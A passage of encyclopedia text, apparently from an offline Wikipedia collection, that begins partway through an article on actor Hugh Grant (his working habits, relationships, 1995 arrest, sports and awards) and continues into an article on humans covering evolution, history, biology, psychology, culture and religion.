          Grant is noted by co-workers for demanding endless takes until he achieves the desired shot according to his own standard. He is said to be inventive on film sets ("The biggest laughs that my characters get in films tend to be improvised lines," he has said), but has talked of finding the work of an actor restrictive because "saying other peoples' lines all the time is -- it's always been -- diminishing." Media accounts of Grant on film sets present him as an actor who does not abdicate responsibility to his production team but is, instead, usually involved with various aspects of his projects, including script development, choosing the director of photography, the acting, and then the editing and the marketing. Journalist David Chater, reviewing a Channel 4 production entitled Brits go to Hollywood, remarked that the Hugh Grant "of popular image is wholly inaccurate. He won a scholarship to Oxford; he is highly articulate; he works non-stop and beats himself up with relentless self-criticism." 


          Personal life


          Starting from 1987, Grant had a long relationship with model Elizabeth Hurley, the latter half of which was spent in the global media spotlight due to Grant's growing fame. After 13 years together, the two made "a mutual and amicable decision" to split in May 2000. With Grant a single man, according to Vogue, "by all accounts the women of London were practically stabbing one another with forks at social events to get close to him." In 2004, he began dating socialite Jemima Khan under the intense scrutiny of British tabloids. Three years later, in February 2007, Grant's publicist announced that the couple had "decided to split amicably." Grant is known by popular media to guard his privacy "jealously," rarely discussing his life in public and choosing instead to fend off personal questions with humour.


          


          


          Public scandals


          On June 27, 1995, Grant was arrested by L.A. Vice officers in a residential area not far from Sunset Boulevard for misdemeanour lewd conduct in a public place with a Hollywood prostitute. He pleaded no contest to the charges. He was fined $1,180 (GBP 800), placed on two years' summary probation, and was ordered to complete an AIDS education program. The arrest occurred about two weeks before the release of Grant's first major studio film, Nine Months, which he was scheduled to promote on several American television shows. The Tonight Show with Jay Leno had him booked for the same week and, as recalled in former employee Don Sweeney's memoirs, "despite his arrest, Hugh Grant kept his appointment to appear on Jay's show." The interview was a career-making hit for Leno and Grant was singled out for not making excuses for the incident. He famously said:


          
            
              	

              	I think you know in life what's a good thing to do and what's a bad thing, and I did a bad thing. And there you have it.

              	
            

          


          On Larry King Live, Grant declined the host Larry King's repeated invitations to probe his psyche, saying that psychoanalysis was "more of an American syndrome" and he himself was "a bit old fashioned." He told the host: "I don't have excuses." Grant's management of the scandal was deemed unusual for a celebrity. He was appreciated for "his refreshing honesty" as he "faced the music and handled it with tongue and cheek." The incident registered strongly in the global cultural conscience and tarnished Grant's wholesome image. In the 2006 CBS TV series Love Monkey, the character called Shooter ( Larenz Tate) explained the phenomenon of male discontent as "Grant's Law." Referring to Hugh Grant, he said that the star: "had the hottest, sexiest and most beautiful woman waiting for him at home. And what does Hugh do? He picks up a cut-rate whore on Hollywood Boulevard." This, he believed, showed that "We, as men, can never be satisfied."


          In April 2007, Grant was arrested on allegations of assault made by paparazzo Ian Whittaker. Grant made no official statement and did not comment on the incident. Charges were dropped on June 1 by the Crown Prosecution Service due to "insufficient evidence."


          


          Athletic interests


          Grant's athletic passions have often been profiled by newspapers and television media. A famous "golfing addict", he is a regular at pro-am tournaments with membership at the Sunningdale Golf Club, and is frequently pictured by the paparazzi at the famed Scottish golf courses in St Andrews, Kingsbarns and Carnoustie. Called competitive and occasionally unpleasant, he reportedly plays with a lot of money at stake. As a young boy, Grant was known as "a real killer, very fast, very competitive" on the sports field; he played rugby union on his school's first XV team at centre and played football (American Soccer) as an avid fan of Fulham F.C.. He continued to play in a Sunday-morning football league in south-west London after college and remained an "impassioned Fulham supporter." On the set of About a Boy, Nicholas Hoult recalled being taught cricket and snooker by Grant. Hoult said, "when we weren't acting we'd all play cricket. ... We had a big match at the end of filming and Hugh was pretty good." Actress Alicia Witt (Two Weeks Notice) has also described Grant as "a really good tennis player, shockingly good."


          


          Awards and honours


          
            
              	Awards
            


            
              	Precededby

              Robin Williams

              for Mrs. Doubtfire

              	Golden Globe Award for Best Actor - Motion Picture Musical or Comedy

              1995

              for Four Weddings and a Funeral

              	Succeededby

              John Travolta

              for Get Shorty
            


            
              	Precededby

              Anthony Hopkins

              for Shadowlands (film)

              	BAFTA Award for Best Actor in a Leading Role

              1994

              for Four Weddings and a Funeral

              	Succeededby

              Nigel Hawthorne

              for The Madness of King George
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              	Homo sapiens sapiens

              Linnaeus, 1758
            

          


          Human beings, or humans (Homo sapiens  Latin: "wise human" or "knowing human") are bipedal primates in the family Hominidae. DNA evidence indicates that modern humans originated in Africa about 250,000 years ago. Humans have a highly developed brain, capable of abstract reasoning, language, introspection, and emotion. This mental capability, combined with an erect body carriage that frees the forelimbs (arms) for manipulating objects, has allowed humans to make far greater use of tools than any other species. Humans now permanently inhabit every continent on Earth, except Antarctica (although several governments maintain permanently- and seasonally-staffed research stations there). Humans also now have a continuous presence in low Earth orbit, occupying the International Space Station. The human population on Earth amounts to over 6.7billion, as of July, 2008.


          Like most primates, humans are social by nature. However, they are particularly adept at utilizing systems of communication for self-expression, exchanging of ideas, and organization. Humans create complex social structures composed of many cooperating and competing groups, from families to nations. Social interactions between humans have established an extremely wide variety of traditions, rituals, ethics, values, social norms, and laws, which together form the basis of human society. Humans have a marked appreciation for beauty and aesthetics, which, combined with the desire for self-expression, has led to innovations such as culture, art, literature and music.


          Humans are notable for their desire to understand and influence the world around them, seeking to explain and manipulate natural phenomena through science, philosophy, mythology and religion. This natural curiosity has led to the development of advanced tools and skills; humans are the only currently known species known to build fires, cook their food, clothe themselves, and manipulate and develop numerous other technologies. Humans pass down their skills and knowledge to the next generations through education.


          


          History


          


          Origin
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              A reconstruction of Australopithecus afarensis, a human ancestor that had developed bipedalism, but which lacked the large brain of modern humans.
            

          


          The scientific study of human evolution encompasses the development of the genus Homo, but usually involves studying other hominids and hominines as well, such as Australopithecus. "Modern humans" are defined as the Homo sapiens species, of which the only extant subspecies - our own - is known as Homo sapiens sapiens. Homo sapiens idaltu (roughly translated as "elder wise human"), the other known subspecies, is now extinct. Anatomically modern humans first appear in the fossil record in Africa about 130,000 years ago, although studies of molecular biology give evidence that the approximate time of divergence from the common ancestor of all modern human populations was 200,000 years ago.


          The closest living relatives of Homo sapiens are the two chimpanzee species: the Common Chimpanzee and the Bonobo. Full genome sequencing has resulted in the conclusion that "after 6.5 [million] years of separate evolution, the differences between chimpanzee and human are just 10 times greater than those between two unrelated people and 10 times less than those between rats and mice". Suggested concurrence between human and chimpanzee DNA sequences range between 95% and 99%. It has been estimated that the human lineage diverged from that of chimpanzees about five million years ago, and from that of gorillas about eight million years ago. However, a hominid skull discovered in Chad in 2001, classified as Sahelanthropus tchadensis, is approximately seven million years old, which may indicate an earlier divergence.


          The Recent African Origin (RAO), or "out-of-Africa", hypothesis proposes that modern humans evolved in Africa before later migrating outwards to replace hominids in other parts of the world. Evidence from archaeogenetics accumulating since the 1990s has lent strong support to RAO, and has marginalized the competing multiregional hypothesis, which proposed that modern humans evolved, at least in part, from independent hominid populations. Geneticists Lynn Jorde and Henry Harpending of the University of Utah propose that the variation in human DNA is minute compared to that of other species. They also propose that during the Late Pleistocene, the human population was reduced to a small number of breeding pairs  no more than 10,000, and possibly as few as 1,000  resulting in a very small residual gene pool. Various reasons for this hypothetical bottleneck have been postulated, one being the Toba catastrophe theory.


          Human evolution is characterized by a number of important morphological, developmental, physiological and behavioural changes, which have taken place since the split between the last common ancestor of humans and chimpanzees. The first major morphological change was the evolution of a bipedal locomotor adaptation from an arboreal or semi-arboreal one, with all its attendant adaptations, such as a valgus knee, low intermembral index (long legs relative to the arms), and reduced upper-body strength.


          Later, ancestral humans developed a much larger brain  typically 1,400cm in modern humans, over twice the size of that of a chimpanzee or gorilla. The pattern of human postnatal brain growth differs from that of other apes ( heterochrony), and allows for extended periods of social learning and language acquisition in juvenile humans. Physical anthropologists argue that the differences between the structure of human brains and those of other apes are even more significant than their differences in size.


          Other significant morphological changes included: the evolution of a power and precision grip; a reduced masticatory system; a reduction of the canine tooth; and the descent of the larynx and hyoid bone, making speech possible. An important physiological change in humans was the evolution of hidden oestrus, or concealed ovulation, which may have coincided with the evolution of important behavioural changes, such as pair bonding. Another significant behavioural change was the development of material culture, with human-made objects becoming increasingly common and diversified over time. The relationship between all these changes is the subject of ongoing debate.


          The forces of natural selection have continued to operate on human populations, with evidence that certain regions of the genome display directional selection in the past 15,000 years.


          


          Rise of civilization
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          The most widely accepted view among current anthropologists is that Homo sapiens originated in the African savanna around 200,000 BP ( Before Present), descending from Homo erectus, had inhabited Eurasia and Oceania by 40,000 BP, and finally inhabited the Americas approximately 14,500 years ago. They displaced Homo neanderthalensis and other species descended from Homo erectus (which had inhabited Eurasia as early as 2 million years ago) through more successful reproduction and competition for resources.


          Until c.10,000 years ago, most humans lived as hunter-gatherers. They generally lived in small nomadic groups known as band societies. The advent of agriculture prompted the Neolithic Revolution, when access to food surplus led to the formation of permanent human settlements, the domestication of animals and the use of metal tools. Agriculture encouraged trade and cooperation, and led to complex society. Because of the significance of this date for human society, it is the epoch of the Holocene calendar or Human Era.


          About 6,000years ago, the first proto-states developed in Mesopotamia, Egypt and the Indus Valley. Military forces were formed for protection, and government bureaucracies for administration. States cooperated and competed for resources, in some cases waging wars. Around 2,0003,000 years ago, some states, such as Persia, India, China, Rome, and Greece, developed through conquest into the first expansive empires. Influential religions, such as Judaism, originating in the Middle East, and Hinduism, a religious tradition that originated in South Asia, also rose to prominence at this time.


          The late Middle Ages saw the rise of revolutionary ideas and technologies. In China, an advanced and urbanized economy promoted innovations such as printing and the compass, while the Islamic Golden Age saw major scientific advancements in Muslim empires. In Europe, the rediscovery of classical learning and inventions such as the printing press led to the Renaissance in the 14th century. Over the next 500years, exploration and colonialism brought much of the Americas, Asia, and Africa under European control, leading to later struggles for independence. The Scientific Revolution in the 17th century and the Industrial Revolution in the 18th  19th centuries promoted major innovations in transport, such as the railway and automobile; energy development, such as coal and electricity; and government, such as representative democracy and Communism.


          As a result of such changes, modern humans live in a world that has become increasingly globalized and interconnected. Although this has encouraged the growth of science, art, and technology, it has also led to culture clashes, the development and use of weapons of mass destruction, and increased environmental destruction and pollution, affecting not only themselves but also most other life forms on the planet.


          


          Habitat and population
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          Early human settlements were dependent on proximity to water and, depending on the lifestyle, other natural resources, such as arable land for growing crops and grazing livestock, or seasonally by hunting populations of prey. However, humans have a great capacity for altering their habitats by various methods, such as through irrigation, urban planning, construction, transport, manufacturing goods, deforestation and desertification. With the advent of large-scale trade and transport infrastructure, proximity to these resources has become unnecessary, and in many places these factors are no longer a driving force behind the growth and decline of a population. Nonetheless, the manner in which a habitat is altered is often a major determinant in population change.


          Technology has allowed humans to colonize all of the continents and adapt to all climates. Within the last few decades, humans have explored Antarctica, the ocean depths, and space, although long-term habitation of these environments is not yet possible. With a population of over six billion, humans are among the most numerous of the large mammals. Most humans (61%) live in Asia. The remainder live in the Americas (14%), Africa (14%), Europe (11%), and Oceania (0.5%).


          Human habitation within closed ecological systems in hostile environments, such as Antarctica and outer space, is expensive, typically limited in duration, and restricted to scientific, military, or industrial expeditions. Life in space has been very sporadic, with no more than thirteen humans in space at any given time. Between 1969 and 1972, two humans at a time spent brief intervals on the Moon. As of early 2008, no other celestial body has been visited by human beings, although there has been a continuous human presence in space since the launch of the initial crew to inhabit the International Space Station on October 31, 2000. Other celestial bodies have, however, been visited by human-made objects.


          Since 1800, the human population increased from one billion to over six billion. In 2004, some 2.5 billion out of 6.3 billion people (39.7%) lived in urban areas, and this percentage is expected to continue to rise throughout the 21st century. In February 2008, the U.N. estimated that half the world's population will live in urban areas by the end of the year. Problems for humans living in cities include various forms of pollution and crime, especially in inner city and suburban slums. Benefits of urban living include increased literacy, access to the global canon of human knowledge and decreased susceptibility to rural famines.


          Humans have had a dramatic effect on the environment. It has been hypothesized that human predation has contributed to the extinction of numerous species. As humans stand at the top of the food chain and are not generally preyed upon, they have been described as superpredators. Currently, through land development and pollution, humans are thought to be the main contributor to global climate change. This is believed to be a major contributor to the ongoing Holocene extinction event, a mass extinction which, if it continues at its current rate, is predicted to wipe out half of all species over the next century.


          


          Biology


          


          Physiology and genetics
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          Human body types vary substantially. Although body size is largely determined by genes, it is also significantly influenced by environmental factors such as diet and exercise. The average height of an adult human is about 1.5 to 1.8 m (5 to 6 feet) tall, although this varies significantly from place to place. The average weight for a human is 76-83 kg (168-183 lbs) for males and 54-64 kg (120-140 lbs) for females. Weight can also vary geographically (see also; obesity, overweight, underweight). Unlike most other primates, humans are capable of fully bipedal locomotion, thus leaving their arms available for manipulating objects using their hands, aided especially by opposable thumbs.


          Although humans appear relatively hairless compared to other primates, with notable hair growth occurring chiefly on the top of the head, underarms and pubic area, the average human has more hair follicles on his or her body than the average chimpanzee. The main distinction is that human hairs are shorter, finer, and less heavily pigmented than the average chimpanzee's, thus making them harder to see.


          The hue of human hair and skin is determined by the presence of pigments called melanins. Human skin hues can range from very dark brown to very pale pink, while human hair ranges from blond to brown to red to, most commonly, black, depending on the amount of melanin (an effective sun blocking pigment) in the skin. Most researchers believe that skin darkening was an adaptation that evolved as a protection against ultraviolet solar radiation. More recently, however, it has been argued that particular skin colors are an adaptation to balance folate, which is destroyed by ultraviolet radiation, and vitamin D, which requires sunlight to form. The skin pigmentation of contemporary humans is geographically stratified, and in general correlates with the level of ultraviolet radiation. Human skin also has a capacity to darken ( sun tanning) in response to exposure to ultraviolet radiation. Humans tend to be physically weaker than other similarly sized primates, with young, conditioned male humans having been shown to be unable to match the strength of female orangutans which are at least three times stronger.


          Humans have proportionately shorter palates and much smaller teeth than other primates. They are the only primates to have short 'flush' canine teeth. Humans have characteristically crowded teeth, with gaps from lost teeth usually closing up quickly in young specimens. Humans are gradually losing their wisdom teeth, with some individuals having them congenitally absent.


          The average sleep requirement is between seven and eight hours a day for an adult and nine to ten hours for a child; elderly people usually sleep for six to seven hours. Experiencing less sleep than this is common in modern societies; this sleep deprivation can lead to negative effects. A sustained restriction of adult sleep to four hours per day has been shown to correlate with changes in physiology and mental state, including fatigue, aggression, and bodily discomfort.


          Humans are an eukaryotic species. Each diploid cell has two sets of 23 chromosomes, each set received from one parent. There are 22 pairs of autosomes and one pair of sex chromosomes. By present estimates, humans have approximately 20,000  25,000 genes. Like other mammals, humans have an XY sex-determination system, so that females have the sex chromosomes XX and males have XY. The X chromosome is larger and carries many genes not on the Y chromosome, which means that recessive diseases associated with X-linked genes, such as haemophilia, affect men more often than women.


          


          Life cycle
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          The human life cycle is similar to that of other placental mammals. The fertilized egg divides inside the female's uterus to become an embryo, which over a period of thirty-eight weeks (9 months) of gestation becomes a human fetus. After this span of time, the fully-grown fetus is birthed from the woman's body and breathes independently as an infant for the first time. At this point, most modern cultures recognize the baby as a person entitled to the full protection of the law, though some jurisdictions extend personhood earlier to human fetuses while they remain in the uterus.


          Compared with other species, human childbirth is dangerous. Painful labors lasting twenty-four hours or more are not uncommon and often leads to the death of the mother, or the child. This is because of both the relatively large fetal head circumference (for housing the brain) and the mother's relatively narrow pelvis (a trait required for successful bipedalism, by way of natural selection). The chances of a successful labor increased significantly during the 20th century in wealthier countries with the advent of new medical technologies. In contrast, pregnancy and natural childbirth remain relatively hazardous ordeals in developing regions of the world, with maternal death rates approximately 100 times more common than in developed countries.
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          In developed countries, infants are typically 3  4 kg (6  9pounds) in weight and 50  60 cm (20  24inches) in height at birth. However, low birth weight is common in developing countries, and contributes to the high levels of infant mortality in these regions. Helpless at birth, humans continue to grow for some years, typically reaching sexual maturity at 12 to 15years of age. Females continue to develop physically until around the age of 18, whereas male development continues until around age 21. The human life span can be split into a number of stages: infancy, childhood, adolescence, young adulthood, adulthood and old age. The lengths of these stages, however, have varied across cultures and time periods. Compared to other primates, humans experience an unusually rapid growth spurt during adolescence, where the body grows 25% in size. Chimpanzees, for example, grow only 14%.


          There are significant differences in life expectancy around the world. The developed world is generally aging, with the median age around 40years (highest in Monaco at 45.1years). In the developing world the median age is between 15 and 20 years. Life expectancy at birth in Hong Kong, China is 84.8 years for a female and 78.9 for a male, while in Swaziland, primarily because of AIDS, it is 31.3 years for both sexes. While one in five Europeans is 60 years of age or older, only one in twenty Africans is 60 years of age or older. The number of centenarians (humans of age 100 years or older) in the world was estimated by the United Nations at 210,000 in 2002. At least one person, Jeanne Calment, is known to have reached the age of 122 years; higher ages have been claimed but they are not well substantiated. Worldwide, there are 81 men aged 60 or older for every 100 women of that age group, and among the oldest, there are 53 men for every 100 women.


          Humans are unique in the widespread onset of female menopause during the latter stage of life. Menopause is believed to have arisen due to the Grandmother hypothesis, in which it is in the mother's reproductive interest to forgo the risks of death from childbirth at older ages in exchange for investing in the viability of her already living offspring.


          The philosophical questions of when human personhood begins and whether it persists after death are the subject of considerable debate. The prospect of death causes unease or fear for most humans, distinct from the immediate awareness of a threat. Burial ceremonies are characteristic of human societies, often accompanied by beliefs in an afterlife or immortality.


          


          Diet


          For hundreds of thousands of years Homo sapiens employed (and some tribes still do depend on) a hunter-gatherer method as their primary means of food collection, involving combining stationary plant and fungal food sources (such as fruits, grains, tubers, and mushrooms) with wild game, which must be hunted and killed in order to be consumed. It is believed that humans have used fire to prepare and cook food prior to eating since the time of their divergence from Homo erectus.


          Humans are omnivorous, capable of consuming both plant and animal products. A view of humans as omnivores is supported by the evidence that both a pure animal and a pure vegetable diet can lead to deficiency diseases in humans. A pure animal diet, for instance, may lead to scurvy, a vitamin C deficiency, while a pure plant diet may lead to vitamin B12 deficiency. However, properly planned vegetarian and vegan diets, often in conjunction with B12 supplements, have been found to completely satisfy nutritional needs in every stage of life.


          The human diet is prominently reflected in human culture, and has led to the development of food science. In general, humans can survive for two to eight weeks without food, depending on stored body fat. Survival without water is usually limited to three or four days. Lack of food remains a serious problem, with about 300,000 people starving to death every year. Childhood malnutrition is also common and contributes to the global burden of disease. However global food distribution is not even, and obesity among some human populations has increased to almost epidemic proportions, leading to health complications and increased mortality in some developed, and a few developing countries. The United States Centers for Disease Control (CDC) state that 32% of American adults over the age of 20 are obese, while 66.5% are obese or overweight. Obesity is caused by consuming more calories than are expended, with many attributing excessive weight gain to a combination of overeating and insufficient exercise.


          At least ten thousand years ago, humans developed agriculture, which has substantially altered the kind of food people eat. This has led to increased populations, the development of cities, and because of increased population density, the wider spread of infectious diseases. The types of food consumed, and the way in which they are prepared, has varied widely by time, location, and culture.


          


          Psychology
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          The human brain is the centre of the central nervous system in humans, and acts as the primary control centre for the peripheral nervous system. The brain controls "lower", or involuntary, autonomic activities such as the respiration, and digestion. The brain also controls "higher" order, conscious activities, such as thought, reasoning, and abstraction. These cognitive processes constitute the mind, and, along with their behavioural consequences, are studied in the field of psychology.


          Generally regarded as more capable of these higher order activities, the human brain is believed to be more "intelligent" in general than that of any other known species. While many animals are capable of creating structures and using simple tools  mostly through instinct and mimicry  human technology is vastly more complex, and is constantly evolving and improving through time. Even the most ancient human tools and structures are far more advanced than any structure or tool created by any other animal.


          Although being vastly more advanced than many species in cognitive abilities, most of these abilities are known in primitive form among other species. Modern anthropology has tended to bear out Darwin's proposition that "the difference in mind between man and the higher animals, great as it is, certainly is one of degree and not of kind".


          


          Consciousness and thought


          The human ability to think abstractly may be unparalleled in the animal kingdom. Humans are one of only six species to pass the mirror test  which tests whether an animal recognizes its reflection as an image of itself  along with chimpanzees, orangutans, and dolphins. It has also been argued that pigeons have passed the test. In October 2006, three elephants at the Bronx Zoo also passed this test. Most human children will pass the mirror test at 18 months old. However, the usefulness of this test as a true test of consciousness has been disputed (see mirror test), and this may be a matter of degree rather than a sharp divide. Monkeys have been trained to apply abstract rules in tasks. The human brain perceives the external world through the senses, and each individual human is influenced greatly by his or her experiences, leading to subjective views of existence and the passage of time. Humans are variously said to possess consciousness, self-awareness, and a mind, which correspond roughly to the mental processes of thought. These are said to possess qualities such as self-awareness, sentience, sapience, and the ability to perceive the relationship between oneself and one's environment. The extent to which the mind constructs or experiences the outer world is a matter of debate, as are the definitions and validity of many of the terms used above. The philosopher of cognitive science Daniel Dennett, for example, argues that there is no such thing as a narrative centre called the "mind", but that instead there is simply a collection of sensory inputs and outputs: different kinds of "software" running in parallel. Psychologist B.F. Skinner has argued that the mind is an explanatory fiction that diverts attention from environmental causes of behaviour, and that what are commonly seen as mental processes may be better conceived of as forms of covert verbal behaviour.


          Humans study the more physical aspects of the mind and brain, and by extension of the nervous system, in the field of neurology, the more behavioral in the field of psychology, and a sometimes loosely-defined area between in the field of psychiatry, which treats mental illness and behavioural disorders. Psychology does not necessarily refer to the brain or nervous system, and can be framed purely in terms of phenomenological or information processing theories of the mind. Increasingly, however, an understanding of brain functions is being included in psychological theory and practice, particularly in areas such as artificial intelligence, neuropsychology, and cognitive neuroscience.


          The nature of thought is central to psychology and related fields. Cognitive psychology studies cognition, the mental processes underlying behaviour. It uses information processing as a framework for understanding the mind. Perception, learning, problem solving, memory, attention, language and emotion are all well-researched areas as well. Cognitive psychology is associated with a school of thought known as cognitivism, whose adherents argue for an information processing model of mental function, informed by positivism and experimental psychology. Techniques and models from cognitive psychology are widely applied and form the mainstay of psychological theories in many areas of both research and applied psychology. Largely focusing on the development of the human mind through the life span, developmental psychology seeks to understand how people come to perceive, understand, and act within the world and how these processes change as they age. This may focus on intellectual, cognitive, neural, social, or moral development.


          Some philosophers divide consciousness into phenomenal consciousness, which is experience itself, and access consciousness, which is the processing of the things in experience. Phenomenal consciousness is the state of being conscious, such as when they say "I am conscious." Access consciousness is being conscious of something in relation to abstract concepts, such as when one says "I am conscious of these words." Various forms of access consciousness include awareness, self-awareness, conscience, stream of consciousness, Husserl's phenomenology, and intentionality. The concept of phenomenal consciousness, in modern history, according to some, is closely related to the concept of qualia. Social psychology links sociology with psychology in their shared study of the nature and causes of human social interaction, with an emphasis on how people think towards each other and how they relate to each other. The behaviour and mental processes, both human and non-human, can be described through animal cognition, ethology, evolutionary psychology, and comparative psychology as well. Human ecology is an academic discipline that investigates how humans and human societies interact with both their natural environment and the human social environment.


          


          Motivation and emotion


          Motivation is the driving force of desire behind all deliberate actions of human beings. Motivation is based on emotion  specifically, on the search for satisfaction (positive emotional experiences), and the avoidance of conflict. Positive and negative is defined by the individual brain state, which may be influenced by social norms: a person may be driven to self-injury or violence because their brain is conditioned to create a positive response to these actions. Motivation is important because it is involved in the performance of all learned responses. Within psychology, conflict avoidance and the libido are seen to be primary motivators. Within economics motivation is often seen to be based on financial incentives, moral incentives, or coercive incentives. Religions generally posit divine or demonic influences.


          Happiness, or the state of being happy, is a human emotional condition. The definition of happiness is a common philosophical topic. Some people might define it as the best condition which a human can have  a condition of mental and physical health. Others define it as freedom from want and distress; consciousness of the good order of things; assurance of one's place in the universe or society.


          Emotion has a significant influence on, or can even be said to control, human behaviour, though historically many cultures and philosophers have for various reasons discouraged allowing this influence to go unchecked. Emotional experiences perceived as pleasant, such as love, admiration, or joy, contrast with those perceived as unpleasant, like hate, envy, or sorrow. There is often a distinction made between refined emotions which are socially learned and survival oriented emotions, which are thought to be innate. Human exploration of emotions as separate from other neurological phenomena is worthy of note, particularly in cultures where emotion is considered separate from physiological state. In some cultural medical theories emotion is considered so synonymous with certain forms of physical health that no difference is thought to exist. The Stoics believed excessive emotion was harmful, while some Sufi teachers (in particular, the poet and astronomer Omar Khayym) felt certain extreme emotions could yield a conceptual perfection, what is often translated as ecstasy.


          In modern scientific thought, certain refined emotions are considered to be a complex neural trait innate in a variety of domesticated and on-domesticated mammals. These were commonly developed in reaction to superior survival mechanisms and intelligent interaction with each other and the environment; as such, refined emotion is not in all cases as discrete and separate from natural neural function as was once assumed. However, when humans function in civilized tandem, it has been noted that uninhibited acting on extreme emotion can lead to social disorder and crime.


          


          Sexuality and love


          Human sexuality, besides ensuring biological reproduction, has important social functions: it creates physical intimacy, bonds, and hierarchies among individuals; may be directed to spiritual transcendence (according to some traditions); and in a hedonistic sense to the enjoyment of activity involving sexual gratification. Sexual desire, or libido, is experienced as a bodily urge, often accompanied by strong emotions such as love, ecstasy and jealousy. The extreme importance of sexuality in the human species can be seen in a number of physical features, among them hidden ovulation, strong sexual dimorphism when compared to the chimpanzees, permanent secondary sexual characteristics, the forming of pair bonds based on sexual attraction as a common social structure and sexual ability in females outside of ovulation. These adaptations indicate that the importance of sexuality in humans is on par with that found in the Bonobo, and that the complex human sexual behaviour has a long evolutionary history.


          As with other human self-descriptions, humans propose that it is high intelligence and complex societies of humans that have produced the most complex sexual behaviors of any animal, including a great many behaviors that are not directly connected with reproduction.


          Human sexual choices are usually made in reference to cultural norms, which vary widely. Restrictions are sometimes determined by religious beliefs or social customs. The pioneering researcher Sigmund Freud believed that humans are born polymorphously perverse, which means that any number of objects could be a source of pleasure. According to Freud, humans then pass through five stages of psychosexual development (and can fixate on any stage because of various traumas during the process). For Alfred Kinsey, another influential sex researcher, people can fall anywhere along a continuous scale of sexual orientation (with only small minorities fully heterosexual or homosexual). Recent studies of neurology and genetics suggest people may be born with one sexual orientation or another, so there is not currently a clear consensus among sex researchers.


          


          Culture


          
            
              	Human society statistics
            


            
              	World population

              	6,670,000,000 (April 2008 est.)
            


            
              	Population density

              	12.7 per km (4.9 mi) by total area

              43.6 per km (16.8 mi) by land area
            


            
              	Largest agglomerations

              	Tokyo, Mexico City, Sao Paulo, Buenos Aires, Istanbul, Jakarta, Shanghai, Hong Kong, Manila, Cairo, New York City, Los Angeles, Seoul, Mumbai, Moscow, London, Paris

            


            
              	Major languages by number of native and secondary speakers (2000 est.)

              	MandarinChinese 1.12 billion

              English 480 million

              Spanish 320 million

              Russian 285 million

              French 265 million

              Hindi/Urdu 250 million

              Arabic 221 million
            


            
              	Currencies

              	
                United States dollar, Euro, Japanese yen, Pound sterling, Indian Rupee, Australian Dollar, Russian Ruble, Canadian Dollar, Chinese Yuan among many others.

              
            


            
              	GDP ( nominal)

              	$36,356,240 million USD

              ($5,797 USD per capita)
            


            
              	GDP ( PPP)

              	$51,656,251 million IND

              ($8,236 per capita)
            

          


          Culture is defined here as a set of distinctive material, intellectual, emotional, and spiritual features of a social group, including art, literature, lifestyles, value systems, traditions, rituals, and beliefs. The link between human biology and human behaviour and culture is often very close, making it difficult to clearly divide topics into one area or the other; as such, the placement of some subjects may be based primarily on convention. Culture consists of values, social norms, and artifacts. A culture's values define what it holds to be important or ethical. Closely linked are norms, expectations of how people ought to behave, bound by tradition. Artifacts, or material culture, are objects derived from the culture's values, norms, and understanding of the world. The mainstream anthropological view of culture implies that most experience a strong resistance when reminded that there is an animal as well as a spiritual aspect to human nature.


          


          Language


          The capacity humans have to transfer concepts, ideas and notions through speech and writing is unrivaled in known species. Unlike the call systems of other primates which are closed, human language is far more open, and gains variety in different situations. The human language has the quality of displacement, using words to represent things and happenings that are not presently or locally occurring, but elsewhere or at a different time. Technology has even advanced so as to allow the communication of mass data upon request and over great distance through data-nets and programs such as the World Wide Web. In this way data networks are important to the continuing development of language; changing it as just as Gutenberg did with the printing press. The faculty of speech is a defining feature of humanity, possibly predating phylogenetic separation of the modern population. Language is central to the communication between humans, as well as being central to the sense of identity that unites nations, cultures and ethnic groups. The invention of writing systems at least 5,000 years ago allowed the preservation of language on material objects, and was a major step in cultural evolution. Language is closely tied to ritual and religion (cf. mantra, sacred text). The science of linguistics describes the structure of language and the relationship between languages. There are approximately 6,000 different languages currently in use, including sign languages, and many thousands more that are considered extinct.


          


          Spirituality and religion


          Religionsometimes used interchangeably with "faith"is generally defined as a belief system concerning the supernatural, sacred or divine, and moral codes, practices, values, institutions and rituals associated with such belief. In the course of its development, religion has taken on many forms that vary by culture and individual perspective. Some of the chief questions and issues religions are concerned with include life after death (commonly involving belief in an afterlife), the origin of life (the source of a variety of creation myths), the nature of the universe ( religious cosmology) and its ultimate fate ( eschatology), and what is moral or immoral. A common source in religions for answers to these questions are transcendent divine beings such as deities or a singular God, although not all religions are theistic  many are nontheistic or ambiguous on the topic, particularly among the Eastern religions. Spirituality, belief or involvement in matters of the soul or spirit, is one of the many different approaches humans take in trying to answer fundamental questions about humankind's place in the universe, the meaning of life, and the ideal way to live one's life. Though these topics have also been addressed by philosophy, and to some extent by science, spirituality is unique in that it focuses on mystical or supernatural concepts such as karma and God.


          Although a majority of humans profess some variety of religious or spiritual belief, some are irreligious, that is lacking or rejecting belief in the supernatural or spiritual. Additionally, although most religions and spiritual beliefs are clearly distinct from science on both a philosophical and methodological level, the two are not generally considered to be mutually exclusive; a majority of humans hold a mix of both scientific and religious views. The distinction between philosophy and religion, on the other hand, is at times less clear, and the two are linked in such fields as the philosophy of religion and theology. Other humans have no religious beliefs and are atheists, scientific skeptics, agnostics or simply non-religious.
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          Philosophy and self-reflection


          Philosophy is a discipline or field of study involving the investigation, analysis, and development of ideas at a general, abstract, or fundamental level. It is the discipline searching for a general understanding of values and reality by chiefly speculative means. The core philosophical disciplines are logic, ontology or metaphysics, epistemology, and axiology, which includes the branches of ethics and aesthetics. Philosophy covers a very wide range of approaches, and is also used to refer to a worldview, to a perspective on an issue, or to the positions argued for by a particular philosopher or school of philosophy.


          
            [image: Plato and Aristotle in a detail from The School of Athens by Raphael.]

            
              Plato and Aristotle in a detail from The School of Athens by Raphael.
            

          


          Metaphysics is a branch of philosophy concerned with the study of first principles, being and existence ( ontology). In between the doctrines of religion and science, stands the philosophical perspective of metaphysical cosmology. This ancient field of study seeks to draw logical conclusions about the nature of the universe, humanity, god, and/or their connections based on the extension of some set of presumed facts borrowed from religion and/or observation. Humans often consider themselves to be the dominant species on Earth, and the most advanced in intelligence and ability to manage their environment. This belief is especially strong in modern Western culture. Alongside such claims of dominance is often found radical pessimism because of the frailty and brevity of human life.


